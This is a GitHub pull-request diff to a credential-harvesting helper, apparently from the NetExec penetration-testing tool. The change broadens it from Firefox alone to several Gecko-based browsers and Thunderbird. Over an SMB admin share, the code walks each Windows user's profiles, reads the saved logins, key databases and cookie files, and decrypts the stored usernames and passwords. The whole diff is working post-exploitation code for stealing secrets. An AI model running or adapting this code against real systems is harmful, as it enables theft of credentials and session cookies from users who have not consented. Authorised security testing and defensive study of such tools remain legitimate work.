Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
136 changes: 73 additions & 63 deletions nxc/helpers/firefox.py
Original file line number Diff line number Diff line change
Expand Up @@ -49,6 +49,14 @@ class FirefoxTriage:
"""

firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
gecko_paths = {"Firefox": "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles",
"Thunderbird": "Users\\{}\\AppData\\Roaming\\Thunderbird\\Profiles",
"Waterfox": "Users\\{}\\AppData\\Roaming\\Waterfox\\Profiles",
"K-Meleon": "Users\\{}\\AppData\\Roaming\\K-Meleon\\Profiles",
"IceDragon": "Users\\{}\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles",
"Cyberfox": "Users\\{}\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles",
"BlackHaw": "Users\\{}\\AppData\\Roaming\\NETGATE Technologies\\BlackHaw\\Profiles",
"Pale Moon": "Users\\{}\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles"}
share = "C$"
false_positive = (
".",
Expand All @@ -72,73 +80,75 @@ def run(self, gather_cookies=False):
firefox_cookies = []
# list users
users = self.conn.list_users()
for user in users:
try:
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
self.logger.debug(e)
if directories is None:
continue
for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]:
for browser, path in self.gecko_paths.items():
self.logger.debug(f"Gather {browser}")
for user in users:
try:
if gather_cookies:
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
if cookies_data is not None:
firefox_cookies += self.parse_cookie_data(user, cookies_data)
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.read_file(path=logins_path, share=self.share)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.read_file(path=key4_path, share=self.share)
if key4_data is None:
continue
# Get all available master keys (Firefox 144+ may have multiple keys)
keys = self.get_all_keys(key4_data=key4_data)
if len(keys) == 0 and self.target.password != "":
keys = self.get_all_keys(
key4_data=key4_data,
master_password=self.target.password.encode(),
)
if len(keys) == 0:
continue

for username, pwd, host in logins:
decoded_username = None
password = None

for key in keys:
try:
decrypted_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2])
decoded_username = decrypted_username.decode("utf-8")

decrypted_password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2])
password = decrypted_password.decode("utf-8")

break # Success - stop trying other keys
except (UnicodeDecodeError, Exception):
continue

if password is not None and decoded_username is not None:
data = FirefoxData(
winuser=user,
url=host,
username=decoded_username,
password=password,
)
if self.per_secret_callback is not None:
self.per_secret_callback(data)
firefox_data.append(data)
directories = self.conn.list_dir(share=self.share, path=path.format(user))
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
self.logger.exception(e)
self.logger.debug(e)
if directories is None:
continue
for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]:
try:
if gather_cookies:
cookies_path = ntpath.join(path.format(user), d.get_longname(), "cookies.sqlite")
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
if cookies_data is not None:
firefox_cookies += self.parse_cookie_data(user, cookies_data)
logins_path = path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.read_file(path=logins_path, share=self.share)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
key4_path = path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.read_file(path=key4_path, share=self.share)
if key4_data is None:
continue
# Get all available master keys (Firefox 144+ may have multiple keys)
keys = self.get_all_keys(key4_data=key4_data)
if len(keys) == 0 and self.target.password != "":
keys = self.get_all_keys(
key4_data=key4_data,
master_password=self.target.password.encode(),
)
if len(keys) == 0:
continue

for username, pwd, host in logins:
decoded_username = None
password = None

for key in keys:
try:
decrypted_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2])
decoded_username = decrypted_username.decode("utf-8")

decrypted_password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2])
password = decrypted_password.decode("utf-8")

break # Success - stop trying other keys
except (UnicodeDecodeError, Exception):
continue

if password is not None and decoded_username is not None:
data = FirefoxData(
winuser=user,
url=host,
username=decoded_username,
password=password,
)
if self.per_secret_callback is not None:
self.per_secret_callback(data)
firefox_data.append(data)
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
self.logger.exception(e)
return firefox_data

def parse_cookie_data(self, windows_user, cookies_data):
Expand Down